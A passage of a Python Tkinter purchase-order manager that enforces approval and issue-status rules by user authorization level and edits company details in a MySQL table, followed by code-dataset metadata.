           else:\r\n                    pass\r\n        else:\r\n            if Login.AUTHLVL == 1:\r\n                if buttonCreatePur[\"state\"] == \"disabled\":\r\n                    index = OrderTreeView.selection()[0]\r\n                    rec = OrderTreeView.item(index, \"values\")\r\n                    costVal = float(re.sub(\"[^0-9\\.]\", \"\", str(rec[6])))\r\n                    \r\n                    if costVal > 500:\r\n                        if ApproveVal == 1 or ApproveVal == 2:\r\n                            ApproveStatBox.current(0)\r\n                            messagebox.showerror(\"Error\",\r\n                                                 \"You are NOT ALLOWED to change Approval Status due to Cost\",\r\n                                                 parent=RepWin)\r\n            \r\n            elif Login.AUTHLVL == 3:\r\n                pass\r\n            \r\n            else:\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT ALLOWED to change Approval Status\",\r\n                                     parent=RepWin)\r\n                \r\n            \r\n                \r\n    def IssueStatSelect(e):\r\n        ProgressVal = ProgressStatBox.current()\r\n        ApproveVal = ApproveStatBox.current()\r\n        IssueVal = IssueStatBox.current()\r\n        if ProgressVal == 0:\r\n            if IssueVal == 1:\r\n                IssueStatBox.current(0)\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT ALLOWED to change Issue Status when incomplete\",\r\n                                     parent=RepWin)\r\n            else:\r\n                pass\r\n        elif ApproveVal == 0:\r\n            if IssueVal == 1:\r\n                IssueStatBox.current(0)\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT ALLOWED to change Issue Status when Not Approved\",\r\n                                     parent=RepWin)\r\n            else:\r\n                pass\r\n            \r\n        elif ApproveVal == 2:\r\n            if IssueVal == 1:\r\n                IssueStatBox.current(0)\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT ALLOWED to change Issue Status when Rejected\",\r\n                                     parent=RepWin)\r\n            else:\r\n                pass\r\n            \r\n        else:\r\n            pass\r\n    \r\n    def ApproveStatClick(e):\r\n        if AuthLevel(Login.AUTHLVL, 5) == False:\r\n            messagebox.showerror(\"Error\",\r\n                                 \"You are NOT authorized to change Approval Status\",\r\n                                 parent=RepWin)\r\n    \r\n    ProgressStatBox.bind(\"<>\", ProgressStatSelect)\r\n    ApproveStatBox.bind(\"<>\", ApproveStatSelect)\r\n    ApproveStatBox.bind(\"\", ApproveStatClick)\r\n    IssueStatBox.bind(\"<>\", IssueStatSelect)\r\n    \r\n    \r\n    \r\n    PurOrderNumBox.bind(\"\", updateOrderReturn)\r\n    PurOrderNumBox.bind(\"\", deleteOrderDel) \r\n    PurOrderNumBox.bind(\"\", exitOrderEsc)\r\n    \r\n    PaymentTermBox.bind(\"\", updateOrderReturn)\r\n    PaymentTermBox.bind(\"\", deleteOrderDel) \r\n    PaymentTermBox.bind(\"\", exitOrderEsc)\r\n    \r\n    OrderDateBox.bind(\"\", updateOrderReturn)\r\n    OrderDateBox.bind(\"\", deleteOrderDel) \r\n    OrderDateBox.bind(\"\", exitOrderEsc)\r\n    \r\n    VendorRemarkBox.bind(\"\", updateOrderReturn)\r\n    VendorRemarkBox.bind(\"\", deleteOrderDel) \r\n    VendorRemarkBox.bind(\"\", exitOrderEsc)\r\n    \r\n    TransCcyBox.bind(\"\", updateOrderReturn)\r\n    TransCcyBox.bind(\"\", deleteOrderDel) \r\n    TransCcyBox.bind(\"\", exitOrderEsc)\r\n    \r\n    TransExRateBox.bind(\"\", updateOrderReturn)\r\n    TransExRateBox.bind(\"\", deleteOrderDel) \r\n    TransExRateBox.bind(\"\", exitOrderEsc)\r\n    \r\n    ProgressStatBox.bind(\"\", updateOrderReturn)\r\n    ProgressStatBox.bind(\"\", deleteOrderDel) \r\n    ProgressStatBox.bind(\"\", exitOrderEsc)\r\n    \r\n    ApproveStatBox.bind(\"\", updateOrderReturn)\r\n    ApproveStatBox.bind(\"\", deleteOrderDel) \r\n    ApproveStatBox.bind(\"\", exitOrderEsc)\r\n    \r\n    IssueStatBox.bind(\"\", updateOrderReturn)\r\n    IssueStatBox.bind(\"\", deleteOrderDel) \r\n    IssueStatBox.bind(\"\", exitOrderEsc)\r\n    \r\n    OrderStatBox.bind(\"\", updateOrderReturn)\r\n    OrderStatBox.bind(\"\", deleteOrderDel) \r\n    OrderStatBox.bind(\"\", exitOrderEsc)\r\n    \r\n    TotalSGDBox.bind(\"\", updateOrderReturn)\r\n    TotalSGDBox.bind(\"\", deleteOrderDel) \r\n    TotalSGDBox.bind(\"\", exitOrderEsc)\r\n\r\n    \r\n\r\n    \r\n    \r\n    buttonUpdatePur = Button(OrderButtonFrame, text=\"Update Order\", command=updateOrder, state=DISABLED)\r\n    buttonCreatePur = Button(OrderButtonFrame, text=\"Create New Purchase Order\", command=createOrder)\r\n    buttonDeletePur = Button(OrderButtonFrame, text=\"Delete Order\", command=deleteOrder, state=DISABLED)\r\n    buttonSelectPur = Button(OrderButtonFrame, text=\"Select Order\", command=selectOrder)\r\n    buttonDeselectPur = Button(OrderButtonFrame, text=\"Deselect Order\", command=deselectOrder)\r\n    buttonLoadPur = Button(OrderButtonFrame, text=\"Load Order\", command=loadOrder)\r\n    buttonClearEntryPur = Button(OrderButtonFrame, text=\"Clear Entry\", command=clearEntryOrder)\r\n    buttonRefreshPur = Button(OrderButtonFrame, text=\"Refresh\", command=refreshOrder)\r\n\r\n    buttonUpdatePur.grid(row=0, column=0, padx=10, pady=10)\r\n    buttonCreatePur.grid(row=0, column=1, padx=10, pady=10)\r\n    buttonDeletePur.grid(row=0, column=2, padx=10, pady=10)\r\n    buttonSelectPur.grid(row=0, column=3, padx=10, pady=10)\r\n    buttonDeselectPur.grid(row=0, column=4, padx=10, pady=10)\r\n    buttonLoadPur.grid(row=0, column=5, padx=10, pady=10)\r\n    buttonClearEntryPur.grid(row=0, column=6, padx=10, pady=10)\r\n    buttonRefreshPur.grid(row=0, column=7, padx=10, pady=10)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    def editCompanyInfo():\r\n        comWin = Toplevel()\r\n        comWin.title(\"Edit Company Information\")\r\n        comWin.geometry(\"450x500\")\r\n        comWin.columnconfigure(0, weight=1)\r\n        comWin.rowconfigure(0, weight=1)\r\n        \r\n        CompanyDataFrame = LabelFrame(comWin, text=\"Record\")\r\n        CompanyDataFrame.grid(row=0, column=0, padx=20, pady=(20,5), ipadx=5, ipady=5, sticky=W+E)\r\n        # CompanyDataFrame.pack(fill=\"x\", expand=\"yes\", padx=20)\r\n        \r\n        CompanyButtonFrame = LabelFrame(comWin, text=\"Command\")\r\n        CompanyButtonFrame.grid(row=1, column=0, padx=20, pady=(5,20), ipadx=5, ipady=5, sticky=W+E)\r\n        # CompanyButtonFrame.pack(fill=\"x\", expand=\"yes\", padx=20)\r\n\r\n        ComNameLabel = Label(CompanyDataFrame, text=\"Company Name\")\r\n        AddressLabel = Label(CompanyDataFrame, text=\"Address\")\r\n        CenterALabel = Label(CompanyDataFrame, text=\"Center A Info\")\r\n        CenterBLabel = Label(CompanyDataFrame, text=\"Center B Info\")\r\n        BuildingLabel = Label(CompanyDataFrame, text=\"Building\")\r\n        PosCodeLabel = Label(CompanyDataFrame, text=\"Postal Code\")\r\n        ComRegNumLabel = Label(CompanyDataFrame, text=\"Company Reg No.\")\r\n        BuyerLabel = Label(CompanyDataFrame, text=\"Buyer\")\r\n        ContactNumLabel = Label(CompanyDataFrame, text=\"Contact No.\")\r\n        EmailLabel = Label(CompanyDataFrame, text=\"Contact Email\")\r\n\r\n        ComNameBox = Entry(CompanyDataFrame, width=30)\r\n        AddressBox = Entry(CompanyDataFrame, width=30)\r\n        CenterABox = Entry(CompanyDataFrame, width=30)\r\n        CenterBBox = Entry(CompanyDataFrame, width=30)\r\n        BuildingBox = Entry(CompanyDataFrame, width=30)\r\n        PosCodeBox = Entry(CompanyDataFrame, width=30)\r\n        ComRegNumBox = Entry(CompanyDataFrame, width=30)\r\n        BuyerBox = Entry(CompanyDataFrame, width=30)\r\n        ContactNumBox = Entry(CompanyDataFrame, width=30)\r\n        EmailBox = Entry(CompanyDataFrame, width=30)\r\n\r\n        ComNameLabel.grid(row=0, column=0, padx=10, pady=5, sticky=E)\r\n        AddressLabel.grid(row=1, column=0, padx=10, pady=5, sticky=E)\r\n        CenterALabel.grid(row=2, column=0, padx=10, pady=5, sticky=E)\r\n        CenterBLabel.grid(row=3, column=0, padx=10, pady=5, sticky=E)\r\n        BuildingLabel.grid(row=4, column=0, padx=10, pady=5, sticky=E)\r\n        PosCodeLabel.grid(row=5, column=0, padx=10, pady=5, sticky=E)\r\n        ComRegNumLabel.grid(row=6, column=0, padx=10, pady=5, sticky=E)\r\n        BuyerLabel.grid(row=7, column=0, padx=10, pady=5, sticky=E)\r\n        ContactNumLabel.grid(row=8, column=0, padx=10, pady=5, sticky=E)\r\n        EmailLabel.grid(row=9, column=0, padx=10, pady=5, sticky=E)\r\n\r\n        ComNameBox.grid(row=0, column=1, padx=10, pady=5, sticky=W)\r\n        AddressBox.grid(row=1, column=1, padx=10, pady=5, sticky=W)\r\n        CenterABox.grid(row=2, column=1, padx=10, pady=5, sticky=W)\r\n        CenterBBox.grid(row=3, column=1, padx=10, pady=5, sticky=W)\r\n        BuildingBox.grid(row=4, column=1, padx=10, pady=5, sticky=W)\r\n        PosCodeBox.grid(row=5, column=1, padx=10, pady=5, sticky=W)\r\n        ComRegNumBox.grid(row=6, column=1, padx=10, pady=5, sticky=W)\r\n        BuyerBox.grid(row=7, column=1, padx=10, pady=5, sticky=W)\r\n        ContactNumBox.grid(row=8, column=1, padx=10, pady=5, sticky=W)\r\n        EmailBox.grid(row=9, column=1, padx=10, pady=5, sticky=W)\r\n        \r\n        def queryComInfo():\r\n            curCom = connCom.cursor()\r\n            curCom.execute(\"SELECT * FROM COMPANY_MWA\")\r\n            comInfo = curCom.fetchall()\r\n            curCom.close()\r\n            \r\n            if comInfo == []:\r\n                pass\r\n            else:\r\n                ComNameBox.insert(0, comInfo[0][1])\r\n                AddressBox.insert(0, comInfo[0][2])\r\n                CenterABox.insert(0, comInfo[0][3])\r\n                CenterBBox.insert(0, comInfo[0][4])\r\n                BuildingBox.insert(0, comInfo[0][5])\r\n                PosCodeBox.insert(0, comInfo[0][6])\r\n                ComRegNumBox.insert(0, comInfo[0][7])\r\n                BuyerBox.insert(0, comInfo[0][8])\r\n                ContactNumBox.insert(0, comInfo[0][9])\r\n                EmailBox.insert(0, comInfo[0][10])\r\n        \r\n        def updateComInfo():\r\n            if Login.AUTHLVL == 3 or Login.AUTHLVL == 2:\r\n                respCompanyInfo = messagebox.askokcancel(\"Confirmation\",\r\n                                                         \"Submit this Info?\",\r\n                                                         parent=comWin)\r\n                if respCompanyInfo == True:\r\n                    updateComInfoCom()\r\n                else:\r\n                    pass\r\n            \r\n            else:\r\n                messagebox.showerror(\"Insufficient Clearance\",\r\n                                     \"You Don't Have Enough Clearance for This Action\",\r\n                                     parent=comWin)\r\n        \r\n        def updateComInfoCom():\r\n            curCom = connCom.cursor()\r\n            curCom.execute(\"SELECT * FROM `COMPANY_MWA` WHERE oid = 1\")\r\n            result = curCom.fetchall()\r\n            if result == []:\r\n                createInfoCom = \"\"\" INSERT INTO `COMPANY_MWA`\r\n                (ComName, Address, CenterA, CenterB, Building, \r\n                 PosCode, ComRegNum, Buyer, ContactNum, Email)\r\n                VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n            \r\n                InfoComValue = (ComNameBox.get(), AddressBox.get(), CenterABox.get(), \r\n                                CenterBBox.get(), BuildingBox.get(), PosCodeBox.get(), \r\n                                ComRegNumBox.get(), BuyerBox.get(), ContactNumBox.get(), \r\n                                EmailBox.get())\r\n                \r\n                curCom.execute(createInfoCom, InfoComValue)\r\n                connCom.commit()\r\n                messagebox.showinfo(\"Update Successful\", \r\n                                    \"You Have Successfuly Updated Company Info\", \r\n                                    parent=comWin)\r\n                comWin.destroy()\r\n            \r\n            else:\r\n                updateInfoCom = \"\"\" UPDATE `COMPANY_MWA` SET\r\n                `ComName` = %s,\r\n                `Address` = %s,\r\n                `CenterA` = %s,\r\n                `CenterB` = %s,\r\n                `Building` = %s,\r\n                `PosCode` = %s,\r\n                `ComRegNum` = %s,\r\n                `Buyer` = %s,\r\n                `ContactNum` = %s,\r\n                `Email` = %s\r\n                \r\n                WHERE `oid` = 1\"\"\"\r\n                \r\n                UpdateComValue = (ComNameBox.get(), AddressBox.get(), CenterABox.get(), \r\n                                  CenterBBox.get(), BuildingBox.get(), PosCodeBox.get(), \r\n                                  ComRegNumBox.get(), BuyerBox.get(), ContactNumBox.get(), \r\n                                  EmailBox.get())\r\n                \r\n                curCom.execute(updateInfoCom, UpdateComValue)\r\n                connCom.commit()\r\n                messagebox.showinfo(\"Update Successful\", \r\n                                    \"You Have Successfuly Updated Company Info\", \r\n                                    parent=comWin)\r\n                comWin.destroy()\r\n            \r\n        def clearEntryMWA():\r\n            if Login.AUTHLVL == 3 or Login.AUTHLVL == 2:\r\n                ComNameBox.delete(0, END)\r\n                AddressBox.delete(0, END)\r\n                CenterABox.delete(0, END)\r\n                CenterBBox.delete(0, END)\r\n                BuildingBox.delete(0, END)\r\n                PosCodeBox.delete(0, END)\r\n                ComRegNumBox.delete(0, END)\r\n                BuyerBox.delete(0, END)\r\n                ContactNumBox.delete(0, END)\r\n                EmailBox.delete(0, END)\r\n                \r\n            else:\r\n                messagebox.showerror(\"Insufficient Clearance\",\r\n                                     \"You Don't Have Enough Clearance for This Action\",\r\n                                     parent=comWin)\r\n            \r\n\r\n\r\n\r\n        \r\n        buttonUpdateComInfo = Button(CompanyButtonFrame, \r\n                                     text=\"Update Company Information\", \r\n                                     command=updateComInfo)\r\n        buttonUpdateComInfo.grid(row=0, column=0, padx=10, pady=10)\r\n        buttonClearEntryInfo = Button(CompanyButtonFrame, \r\n                                     text=\"Clear Entry\", \r\n                                     command=clearEntryMWA)\r\n        buttonClearEntryInfo.grid(row=0, column=1, padx=10, pady=10)\r\n\r\n        queryComInfo()\r\n        \r\n        if Login.AUTHLVL == 0 or Login.AUTHLVL == 1:\r\n            ComNameBox.config(state=\"readonly\")\r\n            AddressBox.config(state=\"readonly\")\r\n            CenterABox.config(state=\"readonly\")\r\n            CenterBBox.config(state=\"readonly\")\r\n            BuildingBox.config(state=\"readonly\")\r\n            PosCodeBox.config(state=\"readonly\")\r\n            ComRegNumBox.config(state=\"readonly\")\r\n            BuyerBox.config(state=\"readonly\")\r\n            ContactNumBox.config(state=\"readonly\")\r\n            EmailBox.config(state=\"readonly\")\r\n            # buttonClearEntryInfo.grid_forget()\r\n    \r\n\r\n\r\n    menuRep = Menu(RepWin)\r\n    RepWin.config(menu=menuRep)\r\n        \r\n    fileMenu = Menu(menuRep, tearoff=0)\r\n    menuRep.add_cascade(label=\"File\", menu=fileMenu)\r\n    fileMenu.add_command(label=\"Edit Company Info\", command=editCompanyInfo)\r\n    fileMenu.add_separator()\r\n    fileMenu.add_command(label=\"Exit\", command=RepWin.destroy)\r\n    \r\n    queryTreeOrder()\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "W3nce/Manager", "sub_path": "ReportTest.py", "file_name": "ReportTest.py", "file_ext": "py", "file_size_in_byte": 146978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ConnConfig.host", "line_number": 31, "usage_type": "attribute"}, {"api_name": "ConnConfig.username", "line_number": 31, "usage_type": "attribute"}, {"api_name": "ConnConfig.password", "line_number": 31, "usage_type": "attribute"}, {"api_name": "Login.LOCKEDUSER", "line_number": 32, "usage_type": "attribute"}, {"api_name": "Login.AUTHLVL", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Notebook", "line_number": 46, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 46, "usage_type": "name"}, {"api_name": "mysql.connector.connect", "line_number": 54, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 54, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 113, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 113, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 118, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 118, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 123, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 123, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 128, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 183, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 183, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 227, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 227, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 234, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 234, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 246, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 246, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 283, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 283, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 284, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 284, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 285, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 285, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 296, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 296, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 297, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 297, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 298, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 298, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 333, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 333, "usage_type": "name"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 379, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 379, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 415, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 415, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 457, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 457, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 641, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 641, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 661, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 661, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 746, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 746, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 751, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 751, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 756, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 756, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 764, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 764, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 775, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 775, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 810, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 810, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 817, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 817, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 847, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 847, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 857, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 857, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 875, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 875, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 950, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 950, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 955, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 955, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 962, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 962, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 972, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 972, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 986, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 986, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 991, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 991, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1062, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1062, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 1068, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1068, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 1071, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1071, "usage_type": "name"}, {"api_name": "mysql.connector.connect", "line_number": 1130, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 1130, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 1159, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 1159, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 1188, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 1188, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 1211, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 1211, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 1212, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 1212, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 1213, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 1213, "usage_type": "name"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 1256, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 1256, "usage_type": "name"}, {"api_name": "CountryRef.getCcyLst", "line_number": 1337, "usage_type": "call"}, {"api_name": "CountryRef.getExRate", "line_number": 1338, "usage_type": "call"}, {"api_name": "CountryRef.getCcyLst", "line_number": 1351, "usage_type": "call"}, {"api_name": "CountryRef.getExRate", "line_number": 1352, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1426, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1426, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1435, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1435, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 1439, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1439, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1473, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1473, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1482, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1482, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 1486, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1486, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 1504, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1504, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1527, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1527, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1533, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1533, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1537, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1537, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1595, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1595, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1612, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1612, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 1625, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1625, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 1638, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1638, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 1676, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1677, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1677, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1687, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1687, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1691, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1691, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 1697, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1697, "usage_type": "name"}, {"api_name": "mysql.connector.connect", "line_number": 1742, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 1742, "usage_type": "attribute"}, {"api_name": "mysql.connector.connect", "line_number": 1747, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 1747, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 1801, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1801, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 1818, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 1818, "usage_type": "name"}, {"api_name": "fpdf.FPDF", "line_number": 1840, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 1953, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 1988, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1988, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 2028, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2028, "usage_type": "name"}, {"api_name": "fpdf.FPDF", "line_number": 2071, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 2184, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 2219, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 2219, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 2259, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2259, "usage_type": "name"}, {"api_name": "mysql.connector.connect", "line_number": 2283, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 2283, "usage_type": "attribute"}, {"api_name": "Login.AUTHLVL", "line_number": 2306, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2307, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2307, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2317, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2317, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2321, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2321, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 2381, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 2381, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 2412, "usage_type": "call"}, {"api_name": "xero_python.accounting.models.LineItem", "line_number": 2425, "usage_type": "call"}, {"api_name": "xero_python.accounting.models.PurchaseOrder", "line_number": 2435, "usage_type": "call"}, {"api_name": "xero_python.accounting.models.CurrencyCode", "line_number": 2442, "usage_type": "call"}, {"api_name": "xero_python.accounting.models.LineAmountTypes", "line_number": 2444, "usage_type": "call"}, {"api_name": "xero_python.accounting.models.PurchaseOrders", "line_number": 2452, "usage_type": "call"}, {"api_name": "xero_python.api_client.serializer.serialize", "line_number": 2453, "usage_type": "call"}, {"api_name": "tkinter.messagebox.askyesno", "line_number": 2457, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2457, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 2461, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2461, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2464, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2464, "usage_type": 